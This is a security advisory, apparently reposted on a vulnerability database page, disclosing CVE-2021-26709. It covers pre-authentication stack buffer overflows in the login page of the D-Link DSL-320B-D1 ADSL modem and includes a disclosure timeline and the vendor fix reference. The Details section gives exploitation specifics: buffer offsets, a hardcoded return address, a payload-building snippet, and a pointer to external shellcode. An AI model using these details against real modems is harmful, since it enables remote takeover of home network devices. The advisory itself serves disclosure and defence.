Lucene search
K

D-Link DSL-320B-D1 Pre-Authentication Buffer Overflow Vulnerability

🗓️ 08 Apr 2021 00:00:00Reported by zdtType 
zdt
 zdt
🔗 0day.today👁 57 Views

D-Link DSL-320B-D1 Pre-Auth Buffer Overflow Vulnerabilit

Related
Code
Multiple Pre-Auth Stack Buffer Overflow in D-Link DSL-320B-D1 ADSL Modem

======== < Table of Contents > =========================================

0. Overview
1. Details
2. Solution
3. Disclosure Timeline
4. Thanks & Acknowledgements
5. References
6. Credits
7. Legal Notices

======== < 0. Overview > ===============================================

Release Date: 7 March 2021

Revision: 1.0

Impact:

The ADSL modem DSL-320B-D1, version EU_1.25 and lower, is affected to
multiple Stack Buffer Overflows that allow unauthenticated remote
attackers to takeover the device.

Severity: Critical

CVSS Score: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVE-ID: CVE-2021-26709

Vendor: D-Link

Affected Products: DSL-320B-D1

Affected Versions: EU_1.25 and lower

======== < 1. Details > ================================================

During a Penetration Test it was possible to identify and exploit
multiple Stack Buffer Overflows (1) in the D-Link DSL-320B-D1 ADSL modem
,a now legacy model, which is distributed in the past by Telecom Italia
on loan for use together with the residential ADSL line.

The vulnerabilities are present in the login functionality, exposed by
"login.xgi" with "user" and "pass" parameters.

[[
GET /login.xgi?user=" + payload + "&pass=abcde HTTP/1.1\nHost: " +
host + "\n\n"
]]

To exploit the vulnerability using "user" parameter, you need
construct the payload like the following:

[[
OFFSET = 652
ADDR = 0x7ffe8ab0

payload = "A"*OFFSET
payload += pack(">I", ADDR)
payload += shellcode
]]

While the "pass" parameter uses 641 as offset.

The payload must be passed as parameter value in a GET request.

You can found a working shellcode here:
https://www.exploit-db.com/shellcodes/45541

You will have to change the ip/port to match your network configuration.

Using ROP is possible to avoid to use the hardcoded addresses.

======== < 2. Solution > ===============================================

Refer to D-Link Support Announcements "SAP10216" for details (2).

======== < 3. Disclosure Timeline > ====================================

09/01/2021 : Discovery of the vulnerability
23/01/2021 : Vulnerability submitted to vendor
25/01/2021 : Vendor request more info about exploit the vulnerabilities
27/01/2021 : Sent details to vendor
01/02/2021 : Request status update to the vendor
13/02/2021 : Sent CVE assigned by mitre to vendor
13/02/2021 : Vendor response, analysis in progress
30/03/2021 : Request status update to the vendor
30/03/2021 : Vendor confirm the vulnerabilities
07/04/2021 : Public disclosure

======== < 4. Thanks & Acknowledgements > ==============================

D-Link US SIRT

======== < 5. References > =============================================

(1) https://cwe.mitre.org/data/definitions/121.html
(2) https://supportannouncement.us.dlink.com/announcement/publication.as
px?name=SAP10216
(3) https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26709

#  0day.today [2021-10-17]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation